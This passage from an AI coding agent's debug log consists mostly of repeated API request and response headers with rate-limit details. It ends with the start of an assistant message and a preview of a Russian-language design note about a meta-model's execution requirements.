\"0.112.1\",\n[2026-09-29T07:46:35.016Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:35.021Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:35.025Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:35.028Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:35.034Z] [STDOUT]   },\n[2026-09-29T07:46:35.037Z] [STDOUT] }\n[2026-09-29T07:46:35.055Z] [STDOUT] [log_6bf8e0, request-id: \"req_011CfXMqrL3e3Xg46QJJqoJ6\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 977ms\n[2026-09-29T07:46:35.058Z] [STDOUT] [log_6bf8e0] response start {\n[2026-09-29T07:46:35.059Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.064Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.070Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.075Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.079Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.089Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.093Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.098Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.102Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.104Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.109Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.115Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.121Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.129Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.134Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.159Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.164Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.179Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.184Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.186Z] [STDOUT]     \"cf-ray\": \"a4295ff1ce05dbb5-FRA\",\n[2026-09-29T07:46:35.189Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:35.192Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.195Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.197Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.200Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.203Z] [STDOUT]     \"request-id\": \"req_011CfXMqrL3e3Xg46QJJqoJ6\",\n[2026-09-29T07:46:35.205Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:35.211Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.214Z] [STDOUT]     traceresponse: \"00-73059ccff7f7f96c029378776d52efb8-a7a87ce948d3292a-01\",\n[2026-09-29T07:46:35.221Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.227Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:35.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.233Z] [STDOUT]   },\n[2026-09-29T07:46:35.239Z] [STDOUT]   durationMs: 977,\n[2026-09-29T07:46:35.243Z] [STDOUT] }\n[2026-09-29T07:46:35.248Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:35.251Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.255Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.259Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.266Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:35.269Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.272Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.275Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.278Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:35.281Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.284Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.291Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.294Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.299Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.302Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.305Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.308Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.313Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.316Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.321Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.326Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.334Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.337Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.340Z] [STDOUT]   \"request-id\": \"req_011CfXMqrL3e3Xg46QJJqoJ6\",\n[2026-09-29T07:46:35.349Z] [STDOUT]   \"traceresponse\": \"00-73059ccff7f7f96c029378776d52efb8-a7a87ce948d3292a-01\",\n[2026-09-29T07:46:35.354Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.357Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.360Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:35.362Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.366Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.369Z] [STDOUT]   \"cf-ray\": \"a4295ff1ce05dbb5-FRA\",\n[2026-09-29T07:46:35.371Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:35.374Z] [STDOUT] [log_6bf8e0] response parsed {\n[2026-09-29T07:46:35.379Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.381Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.387Z] [STDOUT]   body: X {\n[2026-09-29T07:46:35.392Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:35.397Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:35.401Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:35.407Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:35.454Z] [STDOUT]     },\n[2026-09-29T07:46:35.468Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:35.471Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:35.475Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:35.479Z] [STDOUT]   },\n[2026-09-29T07:46:35.484Z] [STDOUT]   durationMs: 978,\n[2026-09-29T07:46:35.488Z] [STDOUT] }\n[2026-09-29T07:46:35.496Z] [STDOUT] [log_0be5d3, request-id: \"req_011CfXMqrzyPyqfovztiGB9A\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 888ms\n[2026-09-29T07:46:35.503Z] [STDOUT] [log_0be5d3] response start {\n[2026-09-29T07:46:35.506Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.511Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.521Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.530Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.535Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.540Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.547Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.563Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.592Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.603Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.611Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.621Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.629Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.635Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.647Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.657Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.659Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.661Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.664Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.667Z] [STDOUT]     \"cf-ray\": \"a4295ff2cf3629ad-FRA\",\n[2026-09-29T07:46:35.669Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:35.671Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.673Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.684Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.687Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.690Z] [STDOUT]     \"request-id\": \"req_011CfXMqrzyPyqfovztiGB9A\",\n[2026-09-29T07:46:35.692Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:35.695Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.703Z] [STDOUT]     traceresponse: \"00-b97d1b763c2616cbfa1d1d84035a544e-8a00889ad59310de-01\",\n[2026-09-29T07:46:35.706Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.709Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:35.713Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.719Z] [STDOUT]   },\n[2026-09-29T07:46:35.724Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:46:35.727Z] [STDOUT] }\n[2026-09-29T07:46:35.733Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:35.739Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.744Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.753Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.756Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:35.760Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.764Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.768Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.772Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:35.775Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.779Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.783Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.790Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.793Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.797Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.802Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.808Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.810Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.825Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.837Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.845Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.850Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.856Z] [STDOUT]   \"request-id\": \"req_011CfXMqrzyPyqfovztiGB9A\",\n[2026-09-29T07:46:35.861Z] [STDOUT]   \"traceresponse\": \"00-b97d1b763c2616cbfa1d1d84035a544e-8a00889ad59310de-01\",\n[2026-09-29T07:46:35.863Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.866Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.869Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:35.872Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.874Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.880Z] [STDOUT]   \"cf-ray\": \"a4295ff2cf3629ad-FRA\",\n[2026-09-29T07:46:35.882Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:35.887Z] [STDOUT] [log_0be5d3] response parsed {\n[2026-09-29T07:46:35.890Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.893Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.896Z] [STDOUT]   body: X {\n[2026-09-29T07:46:35.902Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:35.905Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:35.909Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:35.912Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:35.918Z] [STDOUT]     },\n[2026-09-29T07:46:35.925Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:35.930Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:35.934Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:35.941Z] [STDOUT]   },\n[2026-09-29T07:46:35.948Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:46:35.950Z] [STDOUT] }\n[2026-09-29T07:46:35.955Z] [STDOUT] [log_e7ccb8, request-id: \"req_011CfXMqvAiytoc5WkPSRYFY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 838ms\n[2026-09-29T07:46:35.959Z] [STDOUT] [log_e7ccb8] response start {\n[2026-09-29T07:46:35.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.964Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.968Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.971Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.979Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.985Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.999Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:36.009Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:36.013Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.017Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:36.023Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:36.028Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:36.031Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:36.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:36.045Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:36.053Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:36.057Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.060Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:36.069Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:36.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:36.079Z] [STDOUT]     \"cf-ray\": \"a4295ff7686a01ff-CDG\",\n[2026-09-29T07:46:36.083Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:36.086Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:36.088Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:36.091Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:36.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:35 GMT\",\n[2026-09-29T07:46:36.102Z] [STDOUT]     \"request-id\": \"req_011CfXMqvAiytoc5WkPSRYFY\",\n[2026-09-29T07:46:36.107Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:36.111Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:36.116Z] [STDOUT]     traceresponse: \"00-7d6e100e3d82010946958ee9983f010c-9f6562b95374c3c6-01\",\n[2026-09-29T07:46:36.123Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:36.128Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:36.134Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:36.137Z] [STDOUT]   },\n[2026-09-29T07:46:36.144Z] [STDOUT]   durationMs: 838,\n[2026-09-29T07:46:36.155Z] [STDOUT] }\n[2026-09-29T07:46:36.164Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:36.170Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:35 GMT\",\n[2026-09-29T07:46:36.173Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:36.181Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:36.191Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:36.193Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:36.198Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:36.201Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:36.206Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:36.209Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:36.212Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:36.216Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:36.224Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:36.241Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:36.252Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:36.258Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:36.262Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:36.269Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.274Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:36.277Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:36.280Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:36.284Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:36.288Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.290Z] [STDOUT]   \"request-id\": \"req_011CfXMqvAiytoc5WkPSRYFY\",\n[2026-09-29T07:46:36.304Z] [STDOUT]   \"traceresponse\": \"00-7d6e100e3d82010946958ee9983f010c-9f6562b95374c3c6-01\",\n[2026-09-29T07:46:36.307Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:36.312Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:36.315Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:36.319Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:36.324Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:36.328Z] [STDOUT]   \"cf-ray\": \"a4295ff7686a01ff-CDG\",\n[2026-09-29T07:46:36.332Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:36.334Z] [STDOUT] [log_e7ccb8] response parsed {\n[2026-09-29T07:46:36.337Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:36.341Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:36.344Z] [STDOUT]   body: X {\n[2026-09-29T07:46:36.348Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:36.351Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:36.358Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:36.360Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:36.364Z] [STDOUT]     },\n[2026-09-29T07:46:36.369Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:36.374Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:36.379Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:36.384Z] [STDOUT]   },\n[2026-09-29T07:46:36.389Z] [STDOUT]   durationMs: 839,\n[2026-09-29T07:46:36.394Z] [STDOUT] }\n[2026-09-29T07:46:36.400Z] [INFO] {\n[2026-09-29T07:46:36.400Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:36.400Z] [INFO]   \"message\": {\n[2026-09-29T07:46:36.400Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"id\": \"msg_011CfXMqsahfXJACfQi6Gz7D\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"content\": [\n[2026-09-29T07:46:36.400Z] [INFO]       {\n[2026-09-29T07:46:36.400Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:36.400Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:36.400Z] [INFO]         \"signature\": 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Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\\n\\nPreview (first 2KB):\\n## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. 